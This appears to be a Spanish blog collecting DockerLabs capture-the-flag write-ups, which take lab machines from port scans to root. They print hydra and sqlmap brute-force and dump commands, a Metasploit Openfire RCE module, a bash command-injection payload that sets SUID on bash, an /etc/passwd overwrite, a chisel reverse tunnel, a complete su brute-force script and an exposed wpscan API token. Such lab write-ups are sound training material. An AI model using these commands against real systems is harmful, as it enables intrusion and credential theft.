Romabri

ChocolateFire - DockerLabs

Wed, 26 Jun 2024 00:00:00 +0000

OS	Dificultad	Creator
Linux	Medio	ElPinguinoDeMario

Escaneo y Reconocimiento de puertos

Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap.

nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2

-p-: Escanea todos los puertos (1-65535).
--open: Solo muestra los puertos abiertos.
-sS: Realiza un escaneo SYN, que es rápido y discreto.
-sC: Utiliza los scripts de reconocimiento por defecto de Nmap.
-sV: Detecta la versión del servicio en los puertos abiertos.
--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
-n: No realiza resolución DNS.
-Pn: No realiza ping previo para determinar si el host está activo.
-vvv: Muestra resultados detallados y en tiempo real.

Vemos que estan abiertos varios puertos, vamos a investigar cada una hasta encontrar algo interesante.

Web

Si accedemos al servicio web que corre por el pueto 9090 vemos lo siguiente

Si probamos usaurio y contraseña admin:admin accedemos sin problemas.

Al ver la versión vamos a buscar vías potenciales para acceder a la maquina.

Si vamos a la ventana plugins vemos que podemos subir archivos .jar

Si vamos a la siguiente web https://www.rapid7.com/db/modules/exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315/ nos muestra como podemos hacer la intrusión con metasploit y como normalemente no hacemos write ups con esta herramienta la voy a usar así que abrimos metasploit.

Intrusión

usamos el siguiente modulo de metasploit

use exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315

Ahora hacemos un show options y vamos rellenando los campos que necesitemos para hacer la intrusión

En este caso el RHOSTS y el LHOST y usamos el comando run para empezar a lanzar el exploit

Ya hemos hecho la intrusión y somos el usuario root.

Obsession - DockerLabs

Tue, 25 Jun 2024 00:00:00 +0000

OS	Dificultad	Creator
Linux	Muy Fácil	Juan Carlos

Escaneo y Reconocimiento de puertos

Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap.

nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2

-p-: Escanea todos los puertos (1-65535).
--open: Solo muestra los puertos abiertos.
-sS: Realiza un escaneo SYN, que es rápido y discreto.
-sC: Utiliza los scripts de reconocimiento por defecto de Nmap.
-sV: Detecta la versión del servicio en los puertos abiertos.
--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
-n: No realiza resolución DNS.
-Pn: No realiza ping previo para determinar si el host está activo.
-vvv: Muestra resultados detallados y en tiempo real.

Vemos que esta abierto el puerto 21 FTP , 22 SSH y el puerto 80 HTTP

FTP

Vamos a conectarnos via ftp con el siguiente comando

ftp 172.17.0.2

En usuario ponemos anonymous ya que en el reporte de nmap nos pone que tenemos disponible la conexion anonima y en contraseña no ponemos nada.

Tenemos dos archivos, vamos a descargarlos con el comando GET

Estos son los dos archivos que tenemos txt

De aqui tenemos poca información como mucho 3 posibles usuarios Gonza, Russoski y Nagore pero como no podemos hacer enumeración de usuarios ya que el SSH esta actualizado vamos a ver la pagina web.

Enumeración Web

Si accedemos a la pagina web vemos lo siguiente

Usamos Gobuster para hacer un reconocimiento web y ver que directorios podemos encontrar en dicho sitio.

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
-u http://172.20.10.5/ Especifica la URL objetivo que deseas escanear en busca de directorios.
-w Especifica que diccionario queremos usar
-x Para indicar que tipo de extension queremos que nos encuentre

Gobuster no ha encontrado nada

Pero en una de las entradas vemos algo interesante

Vamos al directorio backup y nos encontramos con otro txt que dice lo siguente:

Y tambien vamos al important y encontramos un important.md.

Tenemos un usuario vamos hacer fuerza bruta

Ataque de fuerza bruta con Hydra

Como tenemos un possible usuario, vamos hacer un ataque de fuerza bruta con Hydra al protocolo ssh de la siguiente forma:

hydra -l russoski -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2

-l - Para especificar el usaurio
-P - Para especificar que diccionario de fuerza bruta usaremos
ssh://172.17.0.2 - Especificamos que queremos atentar contra el protocolo SSH de la IP victima

Como vemos, existe el usuario russoski y la contraseña es iloveme.

Intrusión

Ahora accedemos vía SSH

ssh russoski@172.17.0.2

Si hacemos un sudo -l encontramos que podemos ejecutar el vim como ROOT entonces vamos a buscar en GTFOBINS como hacerlo

Para escalar privilegios hacemos lo siguiente:

Ya somos ROOT

MyBB - DockerLabs

Tue, 25 Jun 2024 00:00:00 +0000

OS	Dificultad	Creator
Linux	Medio	Pylon

Escaneo y Reconocimiento de puertos

Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap.

nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2

-p-: Escanea todos los puertos (1-65535).
--open: Solo muestra los puertos abiertos.
-sS: Realiza un escaneo SYN, que es rápido y discreto.
-sC: Utiliza los scripts de reconocimiento por defecto de Nmap.
-sV: Detecta la versión del servicio en los puertos abiertos.
--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
-n: No realiza resolución DNS.
-Pn: No realiza ping previo para determinar si el host está activo.
-vvv: Muestra resultados detallados y en tiempo real.

Vemos que esta abierto el puerto 80 HTTP

Enumeración Web

Si accedemos a la pagina web vemos lo siguiente

Usamos Gobuster para hacer un reconocimiento web y ver que directorios podemos encontrar en dicho sitio.

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
-u http://172.20.10.5/ Especifica la URL objetivo que deseas escanear en busca de directorios.
-w Especifica que diccionario queremos usar
-x Para indicar que tipo de extension queremos que nos encuentre

Encuentra diferentes directorios, si accedemos al index.html encontramos lo siguente:

Si accedemos al foro vemos que tenemos que poner en el archivo hosts el dominio panel.mybb.dl

Y ahora vemos lo siguiente

Vemos un usuario, el usuario admin

Vamos a volver a pasar el gobuster y nos encuentra bastantes directorios.

Vemos el directorio admin si accedemos nos encontramos con un panel de login, probamos las contraseñas típicas pero no podemos acceder.

Vamos a interceptar la petición con burpsuite y hacer un ataque de fuerza bruta con hydra para ver si conseguimos la contraseña.

Nos aparecen diferentes contraseñas vamos a probarlas.

Perfecto la contraseña es babygirl así que vamos a seguir con la intrusión

Nos aparece que la versión de mybb es la MyBB 1.8.35 vamos a buscar por internet información sobre vulnerabilidades.

Encontramos que es vulnerable a Template Code Injection y encontramos una prueba de como hacer que esto funcione https://blog.sorcery.ie/posts/mybb_acp_rce/

Lo que tenemos que hacer es ir a Templates & Style > Templates > Default Templates > Who’s Online Templates > Online

Ahí tendremos que pegar un codigo que se nos proporciona en la web antes mencionada

Luego le damos a guardar y si lo tenemos bien hecho tendremos estas dos opciones disponibles

Si accedemos al PHPInfo vemos que funciona

Así que vamos a ver si la ejecución de comandos también nos funciona.

Como si que funcióna podemos hacer una reverse shell para poder acceder a la máquina.

Escalada de privilegios

Si investigamos los archivos vemos que hay un a archivo en /var/www/mybb/backups, llamado data y dentro de ese mismo hay una contraseña encriptada de la usuaria alice

Si le pasamos la contraseña encriptada a john nos da la contraseña en texto claro de alice

Ahora si hacemos un sudo -l vemos que alice tiene permisos para ejecutar cualquier script en ruby

Vamos a buscar algun script en ruby que haga una reverse shell para poder conectarnos como root

https://gist.github.com/gr33n7007h/c8cba38c5a4a59905f62233b36882325

Copiamos este script en nuestra maquina local, lo pasamos con un servidor de python a la maquina victima y lo ejecutamos.

En nuestra maquina atacante tendremos que ponernos por escucha con nc por el puerto que le pongamos en el script.

Ya somos root.

HereBash - DockerLabs

Tue, 25 Jun 2024 00:00:00 +0000

OS	Dificultad	Creator
Linux	Fácil	Firstattack

Escaneo y Reconocimiento de puertos

Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap.

nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2

-p-: Escanea todos los puertos (1-65535).
--open: Solo muestra los puertos abiertos.
-sS: Realiza un escaneo SYN, que es rápido y discreto.
-sC: Utiliza los scripts de reconocimiento por defecto de Nmap.
-sV: Detecta la versión del servicio en los puertos abiertos.
--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
-n: No realiza resolución DNS.
-Pn: No realiza ping previo para determinar si el host está activo.
-vvv: Muestra resultados detallados y en tiempo real.

Vemos que esta abierto el puerto 22 SSH y el puerto 80 HTTP

Enumeración Web

Si accedemos a la pagina web vemos lo siguiente

Usamos Gobuster para hacer un reconocimiento web y ver que directorios podemos encontrar en dicho sitio.

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
-u http://172.20.10.5/ Especifica la URL objetivo que deseas escanear en busca de directorios.
-w Especifica que diccionario queremos usar
-x Para indicar que tipo de extension queremos que nos encuentre

Tenemos tres directorios el spongebob que tiene una carpeta llamada upload y dos archivos, otro directorio llamado scripts que hay un archivo llamado put.php y otro directorio upload y el directorio revolt que no tiene nada en el directorio.

Si accedemos a http://172.17.0.2/spongebob/spongebob.html hay un mensaje

Probamos con un ataque de descubrimento de usuarios por ssh pero no fucniona

En la carpeta upload del directorio spongebob hay una imagen vamos hacerle esteganografía.

Vemos que nos pedía un salvoconducto he probado los diferentes nombres que nos daba la anterior imagen y la contraseña correcta es spongebob.

Nos ha extraido un zip que este también tiene contraseña vamos a usar zip2jhon

Tenemos la contraseña chocholate que es la contraseña para descomprimir el zip

En el txt tenemos la palabra aprendamos podría ser una posible contraseña vamos hacer fuerza bruta con Hydra

Ataque de fuerza bruta con Hydra

Como tenemos un possible usuario, vamos hacer un ataque de fuerza bruta con Hydra al protocolo ssh de la siguiente forma:

hydra -l /usr/share/wordlists/seclists/usernames/xato-net-10-million-usernames.txt -P aprendamos ssh://172.17.0.2

-l - Para especificar el usaurio
-P - Para especificar que diccionario de fuerza bruta usaremos
ssh://172.17.0.2 - Especificamos que queremos atentar contra el protocolo SSH de la IP victima

Si esperamos un buen rato vemos que existe el usuario rosa y la contraseña es aprendemos.

Intrusión

Ahora accedemos vía SSH

ssh rosa@172.17.0.2

Si hacemos un ls vemos un directorio un tanto raro

Y dentro de este hay muchos archivos

Para buscar dentro de todas las carpetas lo haremos con el comando find, e iremos haciendo el one liner, de la forma que yo lo he hecho es la siguiente

find ./ -type f -exec awk '!/x$/ {print}' {} \;

Usamos find para buscar archivos y le especificamos con ./ que lo busque en el directorio actual, luego limitamos la búsqueda de archivos regulares con el -type f, el -exec le dice a find que ejecute un comando en cada archivo que coincida en los criterios especificados, el awk '!/x$/ {print}' {} \; lo que hacemos es decirle que busque las lineas acabadas en x pero como tenemos un signo de exclamación al principio niega esta condición por lo que awk selecciona las lineas que NO terminen con x, por ultimo cuando todas las reglas sean ciertas se imprimirá el resultado.

Esto es prueba y error e ir afinando el comando find yo estuve un ratin hasta encontrar el one liner.

Una vez hecho esto nos mostrara lo siguiente

Si nos fijamos tenemos unas credenciales.

Vamos a escalar al usuario pedro.

Al pasar linpeas en la maquina por que no encontraba nada interesante vemos lo siguiente

y si accedemos al directorio vemos esto

Si lo decodeamos en base64 obtenemos la contraseña de juan

Pues parece que no que directamente tenemos que poner la contraseña en base64 ZWxwcmVzaW9uZXMK, que gracioso…

Si vamos al directorio de Juan vemos otro archivo oculot el ordenes_nuevas vamos a ver que hay

Tras estar buscando un buen rato y mirar todo detenidamente vemos que si usamos el comando alias que es donde podemmos abreviar comandos por medio de shortcuts esta la contraseña

Ya somos root.

Whoiam - DockerLabs

Fri, 21 Jun 2024 00:00:00 +0000

OS	Dificultad	Creator
Linux	Fácil	Pylon

Escaneo y Reconocimiento de puertos

Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap.

nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2

-p-: Escanea todos los puertos (1-65535).
--open: Solo muestra los puertos abiertos.
-sS: Realiza un escaneo SYN, que es rápido y discreto.
-sC: Utiliza los scripts de reconocimiento por defecto de Nmap.
-sV: Detecta la versión del servicio en los puertos abiertos.
--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
-n: No realiza resolución DNS.
-Pn: No realiza ping previo para determinar si el host está activo.
-vvv: Muestra resultados detallados y en tiempo real.

Vemos que esta abierto el puerto 80 HTTP

Enumeración Web

Si accedemos a la pagina web vemos lo siguiente

Usamos Gobuster para hacer un reconocimiento web y ver que directorios podemos encontrar en dicho sitio.

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
-u http://172.20.10.5/ Especifica la URL objetivo que deseas escanear en busca de directorios.
-w Especifica que diccionario queremos usar
-x Para indicar que tipo de extension queremos que nos encuentre

Vemos que ha encontrado directorios de wordpress vamos a usar la herramienta wpscan para ver si hay usuarios expuestos o plugins vulnerables.

wpscan --api-token T4otBX3DSZb2t8OFmavP7eKxProuSUoe8YU3zd6Vrpo --url http://172.18.0.2 -e u

Encontramos los usuarios erik, developer vamos hacer un ataque de fuerza bruta a estos usuarios con la misma herramienta.

Pero al estar mas de 5 minutos haciendo fuerza bruta no encontramos nada.

Si nos fijamos en el escaneo de Gobuster tenemos un directorio llamado backups vamos a ver que hay ahí dentro.

Vamos a descargar el archivo y ver que hay dentro.

Nos encontramos una contraseña vamos al wp-admin a ver si funciona en el panel de login.

Hemos accedido vamos a ver como podemos acceder a la máquina.

En el panel de login no podemos hacer mucho vamos a mirar en el reporte del wpscan los plugins vulnerables.

Si hacemos una busqueda con la herramienta searchsploit encontramos lo siguiente

Vamos a ejecutarlo

Lo que acabamos de hacer con este script es subir una web shell

Intrusión

Vamos a mandarnos una reverse shell a nuestro equipo para poder trabajar mas comodamente

Escalada de privilegios

Si hacemos un sudo -l vemos que podemos usar el binario find como el usuario rafa.

Buscamos en GTFOBins y podemos escalar de la siguiente forma

Ahora con este usuario si hacemos sudo -l para buscar permisos vemos que podemos ejecutar el binario debugfs con el usuario ruben

Si buscamos en GTFOBins vemos que para escalar hemos de hacer lo siguiente

Por ultimo vemos que con el usuario ruben si hacemos un sudo -l podemos ejecutar una script como cualquier usuario vamos a ver que hace esa script y si podemos modificar-la.

No tenemos permisos de modificación, vamos a ver que hace el script

Este script solicita al usuario que introduzca un numero si es igual a 42 es correcto si no es incorrecto.

Estuve un buen rato para ver si podía explotar el script pero no fui capaz así que mire el write up

https://github.com/haw441kings/DockerLabsWriteUps/blob/main/Faciles/Whoiam.md

Y vemos que para inyectar código usa la siguiente secuencia

a[$(chmod u+s /bin/bash >&2)]+42

Lo que hacemos es cambiar el permiso de la bash a SUID y ejecutamos el comando bash -p para ejecutar la bash con privilegios ya hemos escalado al usuario root

Escolares - DockerLabs

Fri, 21 Jun 2024 00:00:00 +0000

OS	Dificultad	Creator
Linux	Fácil	Luisillo_o

Escaneo y Reconocimiento de puertos

Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap.

nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2

-p-: Escanea todos los puertos (1-65535).
--open: Solo muestra los puertos abiertos.
-sS: Realiza un escaneo SYN, que es rápido y discreto.
-sC: Utiliza los scripts de reconocimiento por defecto de Nmap.
-sV: Detecta la versión del servicio en los puertos abiertos.
--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
-n: No realiza resolución DNS.
-Pn: No realiza ping previo para determinar si el host está activo.
-vvv: Muestra resultados detallados y en tiempo real.

Vemos que esta abierto el puerto 22 SSH y el puerto 80 HTTP

Enumeración Web

Si accedemos a la pagina web vemos lo siguiente

Si vamos a investigar el codigo fuente encontramos lo siguiente

Encontramos diferentes usuario vamos anotarlos en un documento por si mas adelante nos sirven.

Usamos Gobuster para hacer un reconocimiento web y ver que directorios podemos encontrar en dicho sitio.

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
-u http://172.20.10.5/ Especifica la URL objetivo que deseas escanear en busca de directorios.
-w Especifica que diccionario queremos usar
-x Para indicar que tipo de extension queremos que nos encuentre

Encontramos dos repositorios interesantes un wordpress y un phpmyadmin

Vamos a ver el wp-admin

Lo tenemos que agregar en el archivo /etc/hosts

Vemos que nos dice que el usuario juan no esta registrado asi que vamos a probar cual si es el correcto de los usuarios de los profesores.

Vemos que luisillo nos cambia el error por eso sabremos que este es el usuario vulnerable

Vamos hacer un ataque de fuerza bruta con este usuario, pero no encuentra la contraseña así que como tenemos bastante información del usuario podríamos crear un diccionario de contraseñas para este usuario.

Para ello vamos a usar el script del usuario Mebus de Github, pero también podríamos usar crunch entre otras.

https://github.com/Mebus/cupp.git

Una vez creado el diccionario vamos a usar wpscan para hacer un ataque de fuerza bruta con el usuario luisillo y el diccionario creado.

Nos encuentra la contraseña, vamos acceder al wordpress.

Vemos que tiene WP File Manager esto es un gestor de archivos donde podemos ver, eliminar y subir archivos al wordpress

Como podemos subir archivo vamos a subir un archivo php que nos mande una reverse shell a nuestro equipo, usaremos la de pentest monkey

La subimos y le damos click encima para que nos mande la reverse shell.

Es importante que en el terminal nos pongamos en escucha con NetCat.

Si nos dirigimos al directorio Home encontramos un secret.txt

En su interior encontramos la contraseña del usuario luisillo.

Ahora que somos luisillo si hacemos un sudo -l vemos que podemos ejecutar el binario awk como cualquier usuario vamos a investigar este binario a ver de que forma podemos escalar privilegios.

Escalada de privilegios

En GTFobins encontramos la repuesta

Ya somos root

Dark - DockerLabs

Fri, 21 Jun 2024 00:00:00 +0000

OS	Dificultad	Creator
Linux	Medio	Mishineti

Escaneo y Reconocimiento de puertos

Con ARP scan miramos que IP’s tenemos disponibles.

Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap.

nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2

-p-: Escanea todos los puertos (1-65535).
--open: Solo muestra los puertos abiertos.
-sS: Realiza un escaneo SYN, que es rápido y discreto.
-sC: Utiliza los scripts de reconocimiento por defecto de Nmap.
-sV: Detecta la versión del servicio en los puertos abiertos.
--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
-n: No realiza resolución DNS.
-Pn: No realiza ping previo para determinar si el host está activo.
-vvv: Muestra resultados detallados y en tiempo real.

Vemos que esta abierto el puerto 22 SSH y el puerto 80 HTTP

Enumeración Web

Si accedemos a la pagina web vemos lo siguiente

Usamos Gobuster para hacer un reconocimiento web y ver que directorios podemos encontrar en dicho sitio.

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
-u http://172.20.10.5/ Especifica la URL objetivo que deseas escanear en busca de directorios.
-w Especifica que diccionario queremos usar
-x Para indicar que tipo de extension queremos que nos encuentre

Gobuster ha encontrado diferentes direcotrios

Si accedemos al repositorio info vemos lo siguiente:

Tenemos un posible usuario para poder acceder vía SSH vamos hacer fuerza bruta.

Ataque de fuerza bruta con Hydra

Como tenemos un posible usuario, vamos hacer un ataque de fuerza bruta con Hydra al protocolo SSH de la siguiente forma:

hydra -l toni -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.2

-l - Para especificar el usaurio
-P - Para especificar que diccionario de fuerza bruta usaremos
ssh://10.10.10.2 - Especificamos que queremos atentar contra el protocolo SSH de la IP victima

Como vemos, existe el usuario toni y la contraseña es banana.

Intrusión

Ahora accedemos vía SSH

ssh toni@172.17.0.2

Vemos que tiene otra interfaz de red

No veo la forma de como escalar privilegios en esta maquina ni con linpeas así que vamos a pasarnos chisel a esta maquina con curl y vamos a generar el tunel para redirigir el trafico de la 20.20.20.3 a nuestra maquina.

Nos pasamos el chisel a la maquina 10.10.10.2.

Ahora desde la máquina atacante nos ponemos en escucha con chisel.

chisel server --reverse -p 1234

Y en la maquina victima con IP 10.10.10.2 configuramos el chisel para que podamos ver desde la maquina 10.10.10.1 la IP 20.20.20.2.

./chisel client 10.10.10.1:1234 R:socks

Genial ya nos funciona como nos decía que tenia una web donde había subido la base de datos de la DGT etc…,vamos a configurar foxyproxy para acceder a la web de esa IP.

Ahora si accedemos a la IP 20.20.20.3 vemos lo siguiente:

Vamos a pasar-le gobuster haber si encuentra algún directorio interesante.

no encontramos nada interesante, entonces vamos a probar de ingresar algo en el campo de busqueda.

Vemos que nos muestra información del sistema

Ahora vamos a listar el /etc/passwd

No vemos un posible usuario para hacer fuerza bruta entoces lo que voy hacer sera mandarme una reverse shell

Lo que podemos hacer es mandarnos una reverse shell a la maquina 20.20.20.2

Al estar investigando un rato vemos que no hay nada interesante para poder escalar privilegios lo que podemos hacer es usar curl para poder modificar el archivo /etc/passwd y así acceder al root.

Veamos como se hace esto

Copiamos el passwd a la carpeta /tmp

Ahora eliminamos la primera x que tiene root y guardamos

Ahora hacemos el siguiente comadno

curl file:///tmp/passwd -o /etc/passwd

Si hacemos un cat a /etc/passwd ahora vemos que en root ya no tiene la x.

Esto sucede debido a cómo se manejan los permisos y la propiedad del archivo en Linux

Ahora solo queda hacer su root y escalaremos a root sin necesidad de introducir contraseña

Ya somos ROOT

Bashpariencias - DockerLabs

Fri, 21 Jun 2024 00:00:00 +0000

OS	Dificultad	Creator
Linux	Medio	Firstatack

Escaneo y Reconocimiento de puertos

Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap.

nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2

-p-: Escanea todos los puertos (1-65535).
--open: Solo muestra los puertos abiertos.
-sS: Realiza un escaneo SYN, que es rápido y discreto.
-sC: Utiliza los scripts de reconocimiento por defecto de Nmap.
-sV: Detecta la versión del servicio en los puertos abiertos.
--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
-n: No realiza resolución DNS.
-Pn: No realiza ping previo para determinar si el host está activo.
-vvv: Muestra resultados detallados y en tiempo real.

Vemos que esta abierto el puerto 8899 SSH y el puerto 80 HTTP

Enumeración Web

Si accedemos a la pagina web vemos lo siguiente

Si investigamos muy a fondo la web vemos que en el apartado Form se esta exponiendo algo interesante.

Parece ser que nos esta dando un nombre vamos a revisar el codigo fuente y filtrar por ese nombre. (Siempre hemos de revisar el codigo fuente de la pagina ya que nos puede mostrar información como en este caso que esta oculta)

Vaya tenemos una posible contraseña para el usuario rosa.

Vamos a conectarnos por ssh que recordemos que esta en el puerto 8899

Si vamos al directorio home vemos diferentes usuarios y un archivo txt, el archivo txt no tenemos permisos para verlo así que vamos al directorio de rosa

En el directorio de Rosa hay lo siguiente:

Un directorio llamado -, vamos acceder

Nos encontramos con un txt y un zip vamos a leer el txt

Perfecto pues si intentamos extraer el zip tiene contraseña asi que vamos a intentar con john hacer fuerza burta a este zip de la siguiente forma.

- Nos descargamos el archivo a nestra maquina atacante con : python3 -m http.server 5000
- Desde nuestra maquina atacante hacemos un wget http://172.21.0.2/archivo
- Ahora vamos a extraer el hash del archivo zip con : zip2john archivo > hash
- Por ultimo vamos a craquear el hash con john --wordlist=/usr/share/wordlists/rockyou.txt hash

Hemos obtenido la contraseña vamos a descomprimir el zip

Ya tenemos la contraseña del usuario juan:hackwhitbash

Ahora vamos a escalar al usuario Juan y si hacemos sudo -l vemos que tenemos los binarios tree y cat que los podemos ejecutar como el usuario carlos.

Vamos a listar el directorio de carlos para ver si encontramos algo

Encontramos un archivo llamado .misecreto.txt vamos hacer uso del binario cat con el usuario carlos para poder acceder a ese archivo.

Lo que tendremos que hacer script que nos genere un diccionario para mas tarde hacer fuerza burta en local.

para el script del diccionario yo se lo he pedido a ChatGPT que me lo haga

```bash  
#!/bin/bash  
  
# Definimos la palabra base  
palabra_base="chocolate"  
  
# Iteramos sobre cada letra del alfabeto en un orden diferente  
for letra1 in {a..z}; do  
   for letra2 in {a..z}; do  
       for letra3 in {a..z}; do  
           # Construimos la palabra utilizando un formato diferente  
           nueva_palabra="${letra1}${letra2}${letra3}${palabra_base}"  
           echo $nueva_palabra >> dict2.txt  
       done  
   done  
done

y el script para hacer fuerza bruta es el siguente que si no recuerdo mal es de el PinguinodeMario

#!/bin/bash  
  
# Función que se ejecutará en caso de que el usuario no proporcione 2 argumentos.  
mostrar_ayuda() {  
   echo -e "\e[1;33mUso: $0 USUARIO DICCIONARIO"  
   echo -e "\e[1;31mSe deben especificar tanto el nombre de usuario como el archivo de diccionario.\e[0m"  
   exit 1  
}  
  
# Para imprimir un sencillo banner en alguna parte del script.  
imprimir_banner() {  
   echo -e "\e[1;34m"  # Cambiar el texto a color azul brillante  
   echo "******************************"  
   echo "*     BruteForce SU         *"  
   echo "******************************"  
   echo -e "\e[0m"  # Restablecer los colores a los valores predeterminados  
}  
  
# Llamamos a esta función desde el trap finalizar SIGINT (En caso de que el usuario presione control + c para salir)  
finalizar() {  
   echo -e "\e[1;31m\nFinalizando el script\e[0m"  
   exit  
}  
  
trap finalizar SIGINT  
  
usuario=$1  
diccionario=$2  
  
# Variable especial $# para comprobar el número de parámetros introducido. En caso de no ser 2, se imprimen las instrucciones.  
if [[ $# != 2 | $ >  != 2 ]]; then  
   mostrar_ayuda  
fi  
  
# Imprimimos el banner al momento de realizar el ataque.  
imprimir_banner  
  
# Bucle while que lee línea a línea el contenido de la variable $diccionario, que a su vez esta variable recibe el diccionario como parámetro.  
while IFS= read -r password; do  
   echo "Probando contraseña: $password"  
   if timeout 0.1 bash -c "echo '$password' | su $usuario -c 'echo Hello'" > /dev/null 2>&1; then  
       clear  
       echo -e "\e[1;32mContraseña encontrada para el usuario $usuario: $password\e[0m"  
       break  
   fi  
done < "$diccionario"

Entonces con estas dos cosas en la maquina victima vamos hacer lo siguiente

Ya tenemos la contraseña de carlos así que vamos a escalar a este usuario

Vemos que carlos puede ejecutar el binario tee como cualquier usuario.

*El comando tee en sistemas Unix y Linux es una herramienta de línea de comandos que se utiliza para leer desde la entrada estándar (stdin) y escribir simultáneamente a la salida estándar (stdout) y a un archivo. Esto significa que puedes usar tee para ver la salida de un comando mientras también guarda esa salida en un archivo.

Como podemos usar tee como root vamos añadir a carlos al archivo sudoers para que podamos escalar a root sin proporcionar contraseña

Ya somos root

UserSearch - DockerLabs

Mon, 03 Jun 2024 00:00:00 +0000

OS	Dificultad	Creator
Linux	Medio	kvzlx

Escaneo y Reconocimiento de puertos

Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap.

nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2

-p-: Escanea todos los puertos (1-65535).
--open: Solo muestra los puertos abiertos.
-sS: Realiza un escaneo SYN, que es rápido y discreto.
-sC: Utiliza los scripts de reconocimiento por defecto de Nmap.
-sV: Detecta la versión del servicio en los puertos abiertos.
--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
-n: No realiza resolución DNS.
-Pn: No realiza ping previo para determinar si el host está activo.
-vvv: Muestra resultados detallados y en tiempo real.

Vemos que esta abierto el puerto 22 SSH y el puerto 80 HTTP

Enumeración Web

Si accedemos a la pagina web vemos lo siguiente

Usamos Gobuster para hacer un reconocimiento web y ver que directorios podemos encontrar en dicho sitio.

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
-u http://172.20.10.5/ Especifica la URL objetivo que deseas escanear en busca de directorios.
-w Especifica que diccionario queremos usar
-x Para indicar que tipo de extension queremos que nos encuentre

Gobuster no ha encontrado nada

Si nos fijamos en el mensaje de unauthorized query me da que pensar que por detras tiene una base de datos así que vamos a ver si podemos ver algo con sqlmap

Ataque SQLi SQLMap

sqlmap -u http://172.19.0.2 --forms --dbs --batch

Ahora haremos una consulta de tablas en la base de datos testdb.

sqlmap -u http://172.19.0.2 --forms -D testdb --tables --batch

Vamos a listar que columnas hay dentro de la tabla users

sqlmap -u http://172.19.0.2 --forms -D testdb -T users --columns --batch

Por ultimo vamos a ver que hay dentro de la columna password y username

sqlmap -u http://172.19.0.2 --forms -D testdb -T users -C id,password,username --dump --batch

Tenemos una serie de usuarios y contraseñas.

Intrusión a la máquina

Vamos a probar de acceder con el usuario kvzlx y la contraseña que hemos encontrado

Si hacemos un sudo -l vemos lo siguiente

Escalada de privilegios

Vamos hacer un cat del script

Vemos varias cosas:

-> Importa el modulo psutil -> Utiliza virtual_memory() como función

Vamos a pasarle linpeas ya que no encontramos nada

Encontramos esto que es el modulo de psutil y si nos fijamos tenemos permisos de escritura en el init.py

Vamos a probar de introducir un código para que nos muestre que usuario esta ejecutando el script de la siguente forma.

Ahora si ejecutamos el script con el binario de python3 nos deberia decir root y luego debería ejecutar el script.

Genial como esto nos lo ha realizado ya tenemos una via de explotación para la escalada de privilegios

Lo que vamos hacer va ha ser que la bash tenga permiso SUID de la siguiente forma

Ahora si ejecutamos el script y posteriormente hacemos bash -p

Ya somos root

BuscaLove - DockerLabs

Mon, 03 Jun 2024 00:00:00 +0000

OS	Dificultad	Creator
Linux	Fácil	Prendelo

Escaneo y Reconocimiento de puertos

Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap.

nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2

-p-: Escanea todos los puertos (1-65535).
--open: Solo muestra los puertos abiertos.
